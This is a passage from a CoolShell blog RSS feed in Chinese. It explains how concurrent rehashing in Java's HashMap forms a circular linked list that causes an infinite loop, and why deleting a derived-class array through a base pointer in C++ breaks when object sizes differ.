/>在淘宝内网里看到同事发了贴说了一个CPU被100%的线上故障，并且这个事发生了很多次，原因是在Java语言在并发情况下使用HashMap造成Race Condition，从而导致死循环。这个事情我4、5年前也经历过，本来觉得没什么好写的，因为Java的HashMap是非线程安全的，所以在并发下必然出现问题。但是，我发现近几年，很多人都经历过这个事（在网上查“HashMap Infinite Loop”可以看到很多人都在说这个事）所以，觉得这个是个普遍问题，需要写篇疫苗文章说一下这个事，并且给大家看看一个完美的“Race Condition”是怎么形成的。</p>\n<h4>问题的症状</h4>\n<p>从前我们的Java代码因为一些原因使用了HashMap这个东西，但是当时的程序是单线程的，一切都没有问题。后来，我们的程序性能有问题，所以需要变成多线程的，于是，变成多线程后到了线上，发现程序经常占了100%的CPU，查看堆栈，你会发现程序都Hang在了HashMap.get()这个方法上了，重启程序后问题消失。但是过段时间又会来。而且，这个问题在测试环境里可能很难重现。</p>\n<p>我们简单的看一下我们自己的代码，我们就知道HashMap被多个线程操作。而Java的文档说HashMap是非线程安全的，应该用ConcurrentHashMap。</p>\n<p>但是在这里我们可以来研究一下原因。</p>\n<p><span id=\"more-9606\"></span></p>\n<h4>Hash表数据结构</h4>\n<p>我需要简单地说一下HashMap这个经典的数据结构。</p>\n<p>HashMap通常会用一个指针数组（假设为table[]）来做分散所有的key，当一个key被加入时，会通过Hash算法通过key算出这个数组的下标i，然后就把这个&lt;key, value&gt;插到table[i]中，如果有两个不同的key被算在了同一个i，那么就叫冲突，又叫碰撞，这样会在table[i]上形成一个链表。</p>\n<p>我们知道，如果table[]的尺寸很小，比如只有2个，如果要放进10个keys的话，那么碰撞非常频繁，于是一个O(1)的查找算法，就变成了链表遍历，性能变成了O(n)，这是Hash表的缺陷（可参看《<a title=\"Hash Collision DoS 问题\" href=\"https://coolshell.cn/articles/6424.html\" target=\"_blank\" rel=\"bookmark\">Hash Collision DoS 问题</a>》）。</p>\n<p>所以，Hash表的尺寸和容量非常的重要。一般来说，Hash表这个容器当有数据要插入时，都会检查容量有没有超过设定的thredhold，如果超过，需要增大Hash表的尺寸，但是这样一来，整个Hash表里的无素都需要被重算一遍。这叫rehash，这个成本相当的大。</p>\n<p>相信大家对这个基础知识已经很熟悉了。</p>\n<h4>HashMap的rehash源代码</h4>\n<p>下面，我们来看一下Java的HashMap的源代码。</p>\n<p>Put一个Key,Value对到Hash表中：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"19\">public V put(K key, V value)\n{\n    ......\n    //算Hash值\n    int hash = hash(key.hashCode());\n    int i = indexFor(hash, table.length);\n    //如果该key已被插入，则替换掉旧的value （链接操作）\n    for (Entry&lt;K,V&gt; e = table[i]; e != null; e = e.next) {\n        Object k;\n        if (e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k))) {\n            V oldValue = e.value;\n            e.value = value;\n            e.recordAccess(this);\n            return oldValue;\n        }\n    }\n    modCount++;\n    //该key不存在，需要增加一个结点\n    addEntry(hash, key, value, i);\n    return null;\n}</pre>\n<p>检查容量是否超标</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"7\">void addEntry(int hash, K key, V value, int bucketIndex)\n{\n    Entry&lt;K,V&gt; e = table[bucketIndex];\n    table[bucketIndex] = new Entry&lt;K,V&gt;(hash, key, value, e);\n    //查看当前的size是否超过了我们设定的阈值threshold，如果超过，需要resize\n    if (size++ &gt;= threshold)\n        resize(2 * table.length);\n} </pre>\n<p>新建一个更大尺寸的hash表，然后把数据从老的Hash表中迁移到新的Hash表中。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"9\">void resize(int newCapacity)\n{\n    Entry[] oldTable = table;\n    int oldCapacity = oldTable.length;\n    ......\n    //创建一个新的Hash Table\n    Entry[] newTable = new Entry[newCapacity];\n    //将Old Hash Table上的数据迁移到New Hash Table上\n    transfer(newTable);\n    table = newTable;\n    threshold = (int)(newCapacity * loadFactor);\n}</pre>\n<p>迁移的源代码，注意高亮处：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"12,14,15,16\">void transfer(Entry[] newTable)\n{\n    Entry[] src = table;\n    int newCapacity = newTable.length;\n    //下面这段代码的意思是：\n    //  从OldTable里摘一个元素出来，然后放到NewTable中\n    for (int j = 0; j &lt; src.length; j++) {\n        Entry&lt;K,V&gt; e = src[j];\n        if (e != null) {\n            src[j] = null;\n            do {\n                Entry&lt;K,V&gt; next = e.next;\n                int i = indexFor(e.hash, newCapacity);\n                e.next = newTable[i];\n                newTable[i] = e;\n                e = next;\n            } while (e != null);\n        }\n    }\n} </pre>\n<p>好了，这个代码算是比较正常的。而且没有什么问题。</p>\n<h4>正常的ReHash的过程</h4>\n<p>画了个图做了个演示。</p>\n<ul>\n<li>我假设了我们的hash算法就是简单的用key mod 一下表的大小（也就是数组的长度）。</li>\n</ul>\n<ul>\n<li>最上面的是old hash 表，其中的Hash表的size=2, 所以key = 3, 7, 5，在mod 2以后都冲突在table[1]这里了。</li>\n</ul>\n<ul>\n<li>接下来的三个步骤是Hash表 resize成4，然后所有的&lt;key,value&gt; 重新rehash的过程</li>\n</ul>\n<p style=\"text-align: center;\"><img decoding=\"async\" class=\"aligncenter  wp-image-9607\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/HashMap01.jpg\" /></p>\n<h4>并发下的Rehash</h4>\n<p><strong>1）假设我们有两个线程。</strong>我用红色和浅蓝色标注了一下。</p>\n<p>我们再回头看一下我们的 transfer代码中的这个细节：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"2\">do {\n    Entry&lt;K,V&gt; next = e.next; // &lt;--假设线程一执行到这里就被调度挂起了\n    int i = indexFor(e.hash, newCapacity);\n    e.next = newTable[i];\n    newTable[i] = e;\n    e = next;\n} while (e != null);</pre>\n<p>而我们的线程二执行完成了。于是我们有下面的这个样子。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/HashMap02.jpg\" width=\"616\" height=\"434\" /></p>\n<p>注意，<strong>因为Thread1的 e 指向了key(3)，而next指向了key(7)，其在线程二rehash后，指向了线程二重组后的链表</strong>。我们可以看到链表的顺序被反转后。</p>\n<p><strong>2）线程一被调度回来执行。</strong></p>\n<ul>\n<li><strong>先是执行 newTalbe[i] = e;</strong></li>\n<li><strong>然后是e = next，导致了e指向了key(7)，</strong></li>\n<li><strong>而下一次循环的next = e.next导致了next指向了key(3)</strong></li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/HashMap03.jpg\" width=\"591\" height=\"376\" /></p>\n<p><strong>3）一切安好。</strong></p>\n<p>线程一接着工作。<strong>把key(7)摘下来，放到newTable[i]的第一个，然后把e和next往下移</strong>。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/HashMap04.jpg\" width=\"627\" height=\"411\" /></p>\n<p><strong>4）环形链接出现。</strong></p>\n<p><strong>e.next = newTable[i] 导致  key(3).next 指向了 key(7)</strong></p>\n<p><strong>注意：此时的key(7).next 已经指向了key(3)， 环形链表就这样出现了。</strong></p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/05/HashMap05.jpg\" width=\"623\" height=\"395\" /></p>\n<p style=\"text-align: left;\"><strong>于是，当我们的线程一调用到，HashTable.get(11)时，悲剧就出现了——Infinite Loop。</strong></p>\n<h4 style=\"text-align: left;\">其它</h4>\n<p>有人把这个问题报给了Sun，不过Sun不认为这个是一个问题。因为HashMap本来就不支持并发。要并发就用ConcurrentHashmap</p>\n<p><a href=\"http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6423457\" target=\"_blank\">http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6423457</a></p>\n<p>我在这里把这个事情记录下来，只是为了让大家了解并体会一下并发环境下的危险。</p>\n<p>参考：<a href=\"http://mailinator.blogspot.com/2009/06/beautiful-race-condition.html\" rel=\"nofollow\">http://mailinator.blogspot.com/2009/06/beautiful-race-condition.html</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li><li ><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"Hash Collision DoS 问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6424.html\" class=\"wp_rp_title\">Hash Collision DoS 问题</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9606.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>181</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“C++的数组不支持多态”？</title>\n\t\t<link>https://coolshell.cn/articles/9543.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9543.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 29 Apr 2013 08:17:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9543</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>先是在微博上看到了个微博和云风的评论，然后我回了“楼主对C的内存管理不了解”。 后来引发了很多人的讨论，大量的人又借机来黑C++，比如： //@Baidu-Th...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9543.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9543.html\">“C++的数组不支持多态”？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>先是在微博上看到了个<a href=\"http://weibo.com/1876004965/zueproucp\" target=\"_blank\">微博</a>和云风的评论，然后我回了“楼主对C的内存管理不了解”。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9544\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo.jpg\" width=\"580\" height=\"211\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo.jpg 580w, https://coolshell.cn/wp-content/uploads/2013/04/weibo-300x109.jpg 300w\" sizes=\"(max-width: 580px) 100vw, 580px\" /></a></p>\n<p>后来引发了很多人的讨论，大量的人又借机来黑C++，比如：</p>\n<blockquote><p>//<a href=\"http://weibo.com/n/Baidu-ThursdayWang\">@Baidu-ThursdayWang</a>:这不就c++弱爆了的地方吗，需要记忆太多东西</p>\n<p>//<a href=\"http://weibo.com/n/%E7%BC%96%E7%A8%8B%E6%B5%AA%E5%AD%90%E5%BC%A0%E5%8F%91%E8%B4%A2\">@编程浪子张发财</a>:这个跟C关系真不大。不过我得验证一下，感觉真的不应该是这样的。如果基类的析构这种情况不能 调用，就太弱了。</p>\n<p>//<a href=\"http://weibo.com/1401324585\" target=\"_blank\">@程序元</a>：现在看来，当初由于毅力不够而没有深入纠缠c++语言特性的各种犄角旮旯的坑爹细枝末节，实是幸事。为现在还沉浸于这些诡异特性并乐此不疲的同志们感到忧伤。</p></blockquote>\n<p>然后，也出现了一些乱七八糟的理解：</p>\n<p><span id=\"more-9543\"></span></p>\n<blockquote><p>//<a href=\"http://weibo.com/n/BA5BO\">@BA5BO</a>: 数组是基于拷贝的，而多态是基于指针的，派生类赋值给基类数组只是拷贝复制了一个基类新对象，当然不需要派生类析构函数</p>\n<p>//<a href=\"http://weibo.com/n/%E7%BC%96%E7%A8%8B%E6%B5%AA%E5%AD%90%E5%BC%A0%E5%8F%91%E8%B4%A2\">@编程浪子张发财</a>:我突然理解是怎么回事了，这种情况下数组中各元素都是等长结构体，类型必须一致，的确没法多态。这跟C#和java不同。后两者对于引用类型存放的是对象指针。</p></blockquote>\n<p>等等，看来我必需要写一篇博客以正视听了。</p>\n<p>因为没有看到上下文，我就猜测讨论的可能会是下面这两种情况之一：</p>\n<p style=\"padding-left: 30px;\">1) 一个Base*[]的指针数组中，存放了一堆派生类的指针，这样，你delete [] pBase; 只是把指针数组给删除了，并没有删除指针所指向的对象。这个是最基础的C的问题。你先得for这个指针数组，把数据里的对象都delete掉，然后再删除数组。很明显，这和C++没有什么关系。</p>\n<p style=\"padding-left: 30px;\">2）第二种可能是：Base *pBase = new Derived[n] 这样的情况。这种情况下，delete[] pBase 明显不会调用虚析构函数（当然，这并不一定，我后面会说） ，这就是上面云风回的微博。对此，我觉得如果是这个样子，这个程序员<strong>完全没有搞懂C语言中的指针和数组是怎么一回事</strong>，也没有搞清楚， 什么是对象，什么是对象的指针和引用，这完全就是C语言没有学好。</p>\n<p>后来，在看到了 <a href=\"http://weibo.com/n/GeniusVczh\">@GeniusVczh</a> 的原文 《<a id=\"viewpost1_TitleUrl\" href=\"http://www.cppblog.com/vczh/archive/2013/04/27/199765.html\">如何设计一门语言（一）——什么是坑(a)</a>》最后时，才知道了说的是第二种情况。也就是下面的这个示例（我加了虚的析构函数这样方便编译）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class Base\n{\n  public:\n    virtual ~B(){ cout &lt;&lt;&quot;B::~B()&quot;&lt;&lt;endl; }\n};\n\nclass Derived : public Base\n{\n  public:\n    virtual ~D() { cout &lt;&lt;&quot;D::D~()&quot;&lt;&lt;endl; }\n};\n\nBase* pBase = new Derived[10];\ndelete[] pBase;</pre>\n<h4>C语言补课</h4>\n<p>我先不说这段C++的程序在什么情况下能正确调用派生类的析构函数，我还是先来说说C语言，这样我在后面说这段代码时你就明白了。</p>\n<p>对于上面的：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Base* pBase = new Derived[10];</code></p>\n<p>这个语言和下面的有什么不同吗？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Derived d[10];\n\nBase* pBase = d;</pre>\n<p>一个是堆内存动态分配，一个是栈内存静态分配。只是内存的位置和类型不一样，在语法和使用上没有什么不一样的。（如果你把Base 和 Derived想成struct，把new想成malloc() ，你还觉得这和C++有什么关系吗？）</p>\n<p><strong>那么，你觉得pBase这个指针是指向对象的，是对象的引用，还是指向一个数组的，是数组的引用？</strong></p>\n<p>于是乎，你可以想像一下下面的场景：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int *pInt; char* pChar;\n\npInt = (int*)malloc(10*sizeof(int));\n\npChar = (char*)pInt;</pre>\n<p><strong>对上面的pInt和pChar指针来说，pInt[3]和pChar[3]所指向的内容是否一样呢？当然不一样，因为int是4个字节，char是1个字节，步长不一样，所以当然不一样。</strong></p>\n<p><strong>那么再回到那个把Derived[]数组的指针转成Base类型的指针pBase，那么pBase[3]是否会指向正确的Derrived[3]呢？</strong></p>\n<p>我们来看个纯C语言的例程，下面有两个结构体，就像继承一样，我还别有用心地加了一个void *vptr，好像虚函数表一样：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    struct A {\n        void *vptr;\n        int i;\n    };\n\n    struct B{\n        void *vptr;\n        int i;\n        char c;\n        int j;\n    }b[2] ={\n        {(void*)0x01, 100, &#039;a&#039;, -1},\n        {(void*)0x02, 200, &#039;A&#039;, -2}\n    };\n</pre>\n<p>注意：我用的是G++编译的，在64bits平台上编译的，其中的sizeof(void*)的值是8。</p>\n<p>我们看一下栈上内存分配：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    struct A *pa1 = (struct A*)(b);\n</pre>\n<p>用gdb我们可以看到下面的情况：(pa1[1]的成员的值完全乱掉了)</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"6\">(gdb) p b\n$7 = {{vptr = 0x1, i = 100, c = 97 &#039;a&#039;, j = -1}, {vptr = 0x2, i = 200, c = 65 &#039;A&#039;, j = -2}}\n(gdb) p pa1[0]\n$8 = {vptr = 0x1, i = 100}\n(gdb) p pa1[1]\n$9 = {vptr = 0x7fffffffffff, i = 2}\n</pre>\n<p>我们再来看一下堆上的情况：（我们动态了struct B [2]，然后转成struct A *，然后对其成员操作）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    struct A *pa = (struct A*)malloc(2*sizeof(struct B));\n    struct B *pb = (struct B*)pa；\n\n    pa[0].vptr = (void*) 0x01;\n    pa[1].vptr = (void*) 0x02;\n\n    pa[0].i = 100;\n    pa[1].i = 200;\n</pre>\n<p>用gdb来查看一下变量，我们可以看到下面的情况：（pa没问题，但是pb[1]的内存乱掉了）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"8\">(gdb) p pa[0]\n$1 = {vptr = 0x1, i = 100}\n(gdb) p pa[1]\n$2 = {vptr = 0x2, i = 200}\n(gdb) p pb[0]\n$3 = {vptr = 0x1, i = 100, c = 0 &#039;&#092;&#048;00&#039;, j = 2}\n(gdb) p pb[1]\n$4 = {vptr = 0xc8, i = 0, c = 0 &#039;&#092;&#048;00&#039;, j = 0}\n</pre>\n<p>可见，这完全就是C语言里乱转型造成了内存的混乱，这和C++一点关系都没有。而且，C++的任何一本书都说过，父类对象和子类对象的转型会带来严重的内存问题。</p>\n<p>但是，如果在64bits平台下，如果把我们的structB改一下，改成如下（把struct B中的int j给注释掉）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    struct A {\n        void *vptr;\n        int i;\n    };\n\n    struct B{\n        void *vptr;\n        int i;\n        char c;\n        //int j; &lt;---注释掉int j\n    }b[2] ={\n        {(void*)0x01, 100, &#039;a&#039;},\n        {(void*)0x02, 200, &#039;A&#039;}\n    };\n</pre>\n<p>你就会发现，上面的内存混乱的问题都没有了，因为struct A和struct B的size是一样的：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(gdb) p sizeof(struct A)\n$6 = 16\n(gdb) p sizeof(struct B)\n$7 = 16</pre>\n<p>注：如果不注释int j，那么sizeof(struct B)的值是24。</p>\n<p>这就是C语言中的内存对齐，内存对齐的原因就是为了更快的存取内存（详见《<a title=\"深入理解C语言\" href=\"https://coolshell.cn/articles/5761.html\" target=\"_blank\">深入理解C语言</a>》）</p>\n<p>如果内存对齐了，而且struct A中的成员的顺序在struct B中是一样的而且在最前面话，那么就没有问题。</p>\n<h4>再来看C++的程序</h4>\n<p>如果你看过我5年前写的《<strong><a href=\"http://blog.csdn.net/haoel/article/details/1948051\" target=\"_blank\">C++虚函数表解析</a></strong>》以及《<strong>C++内存对象布局 <a href=\"http://blog.csdn.net/haoel/article/details/3081328\" target=\"_blank\">上篇</a>、<a href=\"http://blog.csdn.net/haoel/article/details/3081385\" target=\"_blank\">下篇</a></strong>》，你就知道C++的标准会把虚函数表的指针放在类实例的最前面，你也就知道为什么我别有用心地在struct A和struct B前加了一个 void *vptr。C++之所以要加在最前面就是为了转型后，不会找不到虚表了。</p>\n<p>好了，到这里，我们再来看C++，看下面的代码：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include\nusing namespace std;\n\nclass B\n{\n  int b;\n  public:\n    virtual ~B(){ cout &lt;&lt;&quot;B::~B()&quot;&lt;&lt;endl; }\n};\n\nclass D: public B\n{\n  int i;\n  public:\n    virtual ~D() { cout &lt;&lt;&quot;D::~D()&quot;&lt;&lt;endl; }\n};\n\nint main(void)\n{\n    cout &lt;&lt; &quot;sizeB:&quot; &lt;&lt; sizeof(B) &lt;&lt; &quot; sizeD:&quot;&lt;&lt; sizeof(D) &lt;&lt;endl;\n    B *pb = new D[2];\n\n    delete [] pb;\n\n    return 0;\n}\n</pre>\n<p><strong>上面的代码可以正确执行，包括调用子类的虚函数！因为内存对齐了</strong>。在我的64bits的CentOS上——sizeof(B):16 ，sizeof(D):16</p>\n<p><strong>但是，如果你在class D中再加一个int成员的问题，这个程序就Segmentation fault了</strong>。因为—— sizeof(B):16 ，sizeof(D):24。pb[1]的虚表找到了一个错误的内存上，内存乱掉了。</p>\n<p>再注：我在Visual Studio 2010上做了一下测试，对于 struct 来说，其表现和gcc的是一样的，但对于class的代码来说，其可以“正确调用到虚函数”无论父类和子类有没有一样的size。</p>\n<p>然而，在C++的标准中，下面这样的用法是undefined! 你可以看看StackOverflow上的相关问题讨论：《<a title=\"Why is it undefined behavior to delete[] an array of derived objects via a base pointer?\" href=\"http://stackoverflow.com/questions/6171814/why-is-it-undefined-behavior-to-delete-an-array-of-derived-objects-via-a-base\" target=\"_blank\">Why is it undefined behavior to delete[] an array of derived objects via a base pointer?</a>》（同样，你也可以看看《More Effective C++》中的条款三）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">Base* pBase = new Derived[10];\n\ndelete[] pBase;</pre>\n<p>所以，微软C++编程译器define这个事让我非常不解，对微软的C++编译器再度失望，看似默默地把其编译对了很漂亮，实则误导了好多人把这种undefined的东西当成defined来用，还赞扬做得好，真是令人无语。<strong>（</strong><a href=\"http://weibo.com/2087077260/zup0V7LLM\" target=\"_blank\">就像微博上的这个贴一样</a>，说VC多么牛，还说这是OO的特性。我勒个去！<strong>）</strong></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2013/04/hehe.png\"><img decoding=\"async\" loading=\"lazy\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/04/hehe.png\" width=\"530\" height=\"173\" /></a></p>\n<p>现在，你终于知道Base* pBase = new Derived[10];这个问题是C语言的转型的问题，你也应该知道用于数组的指针是怎么回事了吧？<strong>这是一个很奇葩的代码！请你不要像那些人一样在微博上和这里的评论里高呼并和我理论到：“微软的C++编译器支持这个事！”。</strong></p>\n<p>最后，我越来越发现，<span style=\"color: #cc0000; font-size: 14px;\"><strong>很多说C++难用的人，其实是不懂C语言</strong></span>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"C语言中史上最愚蠢的Bug\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5388.html\" class=\"wp_rp_title\">C语言中史上最愚蠢的Bug</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9543.html\">“C++的数组不支持多态”？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9543.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>180</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unix考古记：一个“遗失”的shell</title>\n\t\t<link>https://coolshell.cn/articles/9410.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9410.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Fri, 26 Apr 2013 14:29:56 